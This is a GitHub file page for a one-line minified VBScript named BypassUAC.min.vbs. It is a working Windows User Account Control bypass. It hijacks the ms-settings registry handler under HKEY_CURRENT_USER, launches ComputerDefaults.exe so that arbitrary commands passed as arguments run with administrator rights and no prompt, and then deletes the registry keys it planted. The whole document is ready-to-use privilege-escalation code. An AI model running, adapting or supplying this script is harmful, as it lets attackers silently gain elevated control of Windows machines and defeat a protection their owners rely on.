-
Notifications
You must be signed in to change notification settings - Fork 1
/
BypassUAC.min.vbs
1 lines (1 loc) · 1.2 KB
/
BypassUAC.min.vbs
1
Dim a,b,d,r,t,u:Set a=CreateObject("Scripting.FileSystemObject"):Set b=CreateObject("Wscript.Shell"):Set r=WScript:Set d=r.Arguments:t=True:u=False:c:If d.Count>0 Then:Dim e:e=LCase(d(0))="-h" Or LCase(d(0))="/h":For Each f In d:If LCase(f)<>"-h" And LCase(f)<>"/h" Then:b.Run f,e+1,u:End If:Next:Else:Dim g:g=vbCrLf:MsgBox "Usage:"&g&" c.vbs [-h|/h] ""Command1"" ""Command2"" ""Command3""..."&g&g&"Options:"&g&" -h or /h: e windows while running commands",64,"Bypassh.min.vbs - Usage":End If:Function c():On Error Resume Next:Err.Clear:Dim h,k,l,i,j:Dim m:m=Array("HKEY_CURRENT_USER\Software\Classes\ms-settings\","Shell\","Open\","Command\","DelegateExecute"):For Each f in d:k=k&" "&Chr(34)&f&Chr(34):Next:n=a.GetSpecialFolder(WindowsFolder)&"\system32\UAC TestFile":a.CreateTextFile n,t:h=a.FileExists(n) And Err.number<>70:Err.Clear:If h Then:a.DeleteFile n,t:For i=UBound(m)-1 To 0 Step -1:l="":For j=0 To i:l=l&m(j):Next:b.RegDelete l:Next:Exit Function:End If:b.RegWrite Join(m,""),"","REG_SZ":b.RegWrite Replace(Join(m,""),m(4),""),"wscript.exe """&r.ScriptFullName&""""&k,"REG_SZ":b.Run "ComputerDefaults.exe":r.Quit:End Function:Function o(ByVal p):If Not Right(p,1)="\" Then:p=p&"\":End If:o=p:End Function